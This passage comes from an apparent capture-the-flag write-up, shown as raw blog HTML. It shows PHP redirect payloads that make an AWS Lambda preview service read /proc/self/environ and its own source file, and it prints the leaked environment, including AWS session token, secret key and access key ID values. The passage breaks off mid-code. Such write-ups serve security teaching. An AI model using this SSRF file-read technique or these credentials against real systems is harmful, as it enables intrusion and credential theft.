future findings.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I tried to give more details about the steps as much as I could, to help you build a mental image of the whole hacking process.&nbsp;&nbsp;For those who didn&#8217;t manage to solve the challenge in time, there will be more from &#8221;&nbsp;<strong>Bugpoc<\/strong>&nbsp;&#8221; (Surely). They will try their best to give a quality hacking content and&nbsp;challenges.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you have any question or comment about my write-up, techniques, join me on &nbsp;&nbsp;<a href=\"https:\/\/twitter.com\/th3r3d0ne\">Twitter<\/a>. I&#8217;ll be happy to answer your question, listen to your ideas and share my little modest knowledge with you.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ BONUS &#8211; Aws Metadata &amp; Source code:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The last day of the challenge,&nbsp;<strong>Bugpoc<\/strong>&nbsp;announced that there is a bonus points if we could manage to reveal the cloud metadata as well as the source code involved in this challenge. Let&#8217;s resolve this one too:&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Step 1:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The first thing I did, is to identify which cloud platform I&#8217;m targeting. I already knew that was a AWS. However, I was wondering which one is being used EC2 or Lambda ?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I tried to use the famous URL to extract the metadata from Amazon AWS:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>http:\/\/169.254.169.254\/latest\/meta-data \n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">http:\/\/169.254.169.254\/latest\/meta-data<\/span><span style=\"color: #F8F8F2\"> <\/span><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Unfortunately, it didn&#8217;t work. I got the error that connection is refused. Hmm, the question that came up to my mind is: Is there any other way to get the metadata from the environment&nbsp;itself ? Without executing a single command.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After a little bit of googling, I found out that the cloud metadata is also stored in &#8221;&nbsp;<strong>\/proc\/self\/environ<\/strong>&#8220;. Soooo, let&#8217;s go mug em !!! \ud83d\ude01<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Changing the &#8221;&nbsp;<strong>index.php<\/strong>&#8221; to:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>&lt;?php\n \t$headers = array(\n   'Location' => 'file:\/\/\/proc\/self\/environ',\n   'Content-Type' => 'image\/svg',\n    );\n    \n    foreach ($headers as $headerType => $headerValue)\n    {\n        header($headerType . ': ' . $headerValue);\n    }\n?><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F92672\">&lt;?<\/span><span style=\"color: #AE81FF\">php<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\"> \t$headers <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">array<\/span><span style=\"color: #F8F8F2\">(<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">   <\/span><span style=\"color: #E6DB74\">&#39;Location&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=&gt;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;file:\/\/\/proc\/self\/environ&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">   <\/span><span style=\"color: #E6DB74\">&#39;Content-Type&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=&gt;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;image\/svg&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    );<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">foreach<\/span><span style=\"color: #F8F8F2\"> ($headers <\/span><span style=\"color: #F92672\">as<\/span><span style=\"color: #F8F8F2\"> $headerType <\/span><span style=\"color: #F92672\">=&gt;<\/span><span style=\"color: #F8F8F2\"> $headerValue)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #66D9EF\">header<\/span><span style=\"color: #F8F8F2\">($headerType <\/span><span style=\"color: #F92672\">.<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;: &#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">.<\/span><span style=\"color: #F8F8F2\"> $headerValue);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">?&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">I sent the request to the server using burp and I got this response:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"426\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-28.png\" alt=\"\" class=\"wp-image-61\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-28.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-28-300x200.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Cool !!! Let&#8217;s prettify this little angel \ud83d\udc76:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>AWS_LAMBDA_FUNCTION_VERSION=$LATEST\nAWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEMj\/\/\/\/\/\/\/\/\/\/wEaCXVzLXdlc3QtMiJHMEUCIHA6iWmmyeWY\/Z0XEzUrBrcwR7PVGuJeqRNHnBHN\/6mZAiEAkEOpPunx4c5TuhM4Q\/VIeyVQCH9+uzSHkiJOLVNNtmcq2wEI8f\/\/\/\/\/\/\/\/\/\/ARABGgwwMTA1NDQ0MzkyMTAiDGNVdnhQyYseDG\/7KiqvAZNJlIm6R2pGf+A5LwHSd6G6SOXFdk2QldSPGtTdzilRvQHLKDueCh3YyyNeTVmzQakWdDXnuTNvGeDFmt2rwV5GzEL8C+vfP0d1AU1W54SsQ8arOi1y1iIFq4Tbyii1vfrenfu7vmPTeQeS7OUVYcSpunByqfzz699Xog\/5nwMpWyCQcMpCXW4DaAubGyB3tDS\/WkrOplQbTS8o8f+9XY8xpsPSUwqHycf8gRROVAYw1qry+wU64AHIY\/mia4i0wj3IA7texbS3\/Xk0lsNiRLqQ4ux3XB5xNV8gtJeB72A5dIKwDG\/AUsNTa1aVgT61Z7yDCRmn6s56VS+XhuCjjA0bfjehu5OOLFdbkxx3wso8QU2dwWgJts3pABp370dXcrudYBs2f+p26k2cgO4jEMQfRIgWHL01UoW+vxlqiW6k1siBvqtEKq+QpJRV+KwsqVJD1idCfYaosCH5Vhv47lCH8DOyja4\/vy5BMAYMz6ScWXkODbtLvhSXVK5\/3o7B5Nz8KbpFMokwozuBsFSaA9dOkYXJKZ88eg==\nLAMBDA_TASK_ROOT=\/var\/task\nLD_LIBRARY_PATH=\/var\/lang\/lib:\/lib64:\/usr\/lib64:\/var\/runtime:\/var\/runtime\/lib:\/var\/task:\/var\/task\/lib:\/opt\/lib\nAWS_LAMBDA_LOG_GROUP_NAME=\/aws\/lambda\/get-website-preview\nAWS_LAMBDA_RUNTIME_API=127.0.0.1:9001\nAWS_LAMBDA_LOG_STREAM_NAME=2020\/10\/06\/&#91;$LATEST&#93;a0b4c04d5e0f41988ac407a870abf50d\nAWS_EXECUTION_ENV=AWS_Lambda_python3.8\nAWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000\nAWS_LAMBDA_FUNCTION_NAME=get-website-preview\nPATH=\/var\/lang\/bin:\/usr\/local\/bin:\/usr\/bin\/:\/bin:\/opt\/bin\nAWS_DEFAULT_REGION=us-west-2\nPWD=\/var\/task\nAWS_SECRET_ACCESS_KEY=mbjyuvpKSKzW49z9YuPutTJ8JqFQNIphsg\/cemfh\nLANG=en_US.UTF-8\nLAMBDA_RUNTIME_DIR=\/var\/runtime\nAWS_REGION=us-west-2\nTZ=:UTC\nAWS_ACCESS_KEY_ID=ASIAQE5D7L6VFRCHZ662\nSHLVL=0\n_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2\n_AWS_XRAY_DAEMON_PORT=2000\n_LAMBDA_TELEMETRY_LOG_FD=3\nAWS_XRAY_CONTEXT_MISSING=LOG_ERROR\n_HANDLER=lambda_function.lambda_handler\nAWS_LAMBDA_FUNCTION_MEMORY_SIZE=512<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">AWS_LAMBDA_FUNCTION_VERSION<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\">$LATEST<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_SESSION_TOKEN<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">IQoJb3JpZ2luX2VjEMj\/\/\/\/\/\/\/\/\/\/wEaCXVzLXdlc3QtMiJHMEUCIHA6iWmmyeWY\/Z0XEzUrBrcwR7PVGuJeqRNHnBHN\/6mZAiEAkEOpPunx4c5TuhM4Q\/VIeyVQCH9+uzSHkiJOLVNNtmcq2wEI8f\/\/\/\/\/\/\/\/\/\/ARABGgwwMTA1NDQ0MzkyMTAiDGNVdnhQyYseDG\/7KiqvAZNJlIm6R2pGf+A5LwHSd6G6SOXFdk2QldSPGtTdzilRvQHLKDueCh3YyyNeTVmzQakWdDXnuTNvGeDFmt2rwV5GzEL8C+vfP0d1AU1W54SsQ8arOi1y1iIFq4Tbyii1vfrenfu7vmPTeQeS7OUVYcSpunByqfzz699Xog\/5nwMpWyCQcMpCXW4DaAubGyB3tDS\/WkrOplQbTS8o8f+9XY8xpsPSUwqHycf8gRROVAYw1qry+wU64AHIY\/mia4i0wj3IA7texbS3\/Xk0lsNiRLqQ4ux3XB5xNV8gtJeB72A5dIKwDG\/AUsNTa1aVgT61Z7yDCRmn6s56VS+XhuCjjA0bfjehu5OOLFdbkxx3wso8QU2dwWgJts3pABp370dXcrudYBs2f+p26k2cgO4jEMQfRIgWHL01UoW+vxlqiW6k1siBvqtEKq+QpJRV+KwsqVJD1idCfYaosCH5Vhv47lCH8DOyja4\/vy5BMAYMz6ScWXkODbtLvhSXVK5\/3o7B5Nz8KbpFMokwozuBsFSaA9dOkYXJKZ88eg==<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">LAMBDA_TASK_ROOT<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">\/var\/task<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">LD_LIBRARY_PATH<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">\/var\/lang\/lib:\/lib64:\/usr\/lib64:\/var\/runtime:\/var\/runtime\/lib:\/var\/task:\/var\/task\/lib:\/opt\/lib<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_LAMBDA_LOG_GROUP_NAME<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">\/aws\/lambda\/get-website-preview<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_LAMBDA_RUNTIME_API<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">127.0<\/span><span style=\"color: #E6DB74\">.0.1:9001<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_LAMBDA_LOG_STREAM_NAME<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">2020<\/span><span style=\"color: #E6DB74\">\/10\/06\/&#91;<\/span><span style=\"color: #F8F8F2\">$LATEST<\/span><span style=\"color: #E6DB74\">&#93;a0b4c04d5e0f41988ac407a870abf50d<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_EXECUTION_ENV<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">AWS_Lambda_python3.8<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_XRAY_DAEMON_ADDRESS<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">169.254<\/span><span style=\"color: #E6DB74\">.79.2:2000<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_LAMBDA_FUNCTION_NAME<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">get-website-preview<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">PATH<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">\/var\/lang\/bin:\/usr\/local\/bin:\/usr\/bin\/:\/bin:\/opt\/bin<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_DEFAULT_REGION<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">us-west-2<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">PWD<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">\/var\/task<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_SECRET_ACCESS_KEY<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">mbjyuvpKSKzW49z9YuPutTJ8JqFQNIphsg\/cemfh<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">LANG<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">en_US.UTF-8<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">LAMBDA_RUNTIME_DIR<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">\/var\/runtime<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_REGION<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">us-west-2<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">TZ<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">:UTC<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_ACCESS_KEY_ID<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">ASIAQE5D7L6VFRCHZ662<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">SHLVL<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">0<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">_AWS_XRAY_DAEMON_ADDRESS<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">169.254<\/span><span style=\"color: #E6DB74\">.79.2<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">_AWS_XRAY_DAEMON_PORT<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">2000<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">_LAMBDA_TELEMETRY_LOG_FD<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">3<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_XRAY_CONTEXT_MISSING<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">LOG_ERROR<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">_HANDLER<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">lambda_function.lambda_handler<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">AWS_LAMBDA_FUNCTION_MEMORY_SIZE<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">512<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">As we can see, it&#8217;s a Lambda instance. This terminate our first mission. We have now&nbsp; the cloud metadata. Great !! \u270c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Step 2:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">How to extract the source code existing in the server ?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To answer this, we can see clearly in the extracted &#8221;&nbsp;<strong>Metadata<\/strong>&#8221;&nbsp; that there are these indicators which tell us&nbsp; more about where we can find the source code as well as the path where it resides:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>_Handler=lambda_function.lambda_handler\nLambda_Task_Root=\/var\/task<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">_Handler<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">lambda_function.lambda_handler<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">Lambda_Task_Root<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">\/var\/task<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">The &#8221;&nbsp;<strong>lambda_handler<\/strong>&#8221; is a function inside a python file called &#8221;&nbsp;<strong>lambda_function.py<\/strong>&#8221; and the &#8221;&nbsp;<strong>Lambda_Task_Root<\/strong>&#8221; telling us where the file is located. Thus, we have the path and the filename. What&#8217;s remaining now is to extract that file from the server.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Changing the &#8221;&nbsp;<strong>index.php<\/strong>&#8221; file to this:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>&lt;?php\n    $headers = array(\n   'Location' => 'file:\/\/\/var\/task\/lambda_function.py',\n   'Content-Type' => 'image\/svg',\n    );\n    \n    foreach ($headers as $headerType => $headerValue)\n    {\n        header($headerType . ': ' . $headerValue);\n    }\n?><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F92672\">&lt;?<\/span><span style=\"color: #AE81FF\">php<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    $headers <\/span><span style=\"color: #F92672\">=<\/span><span 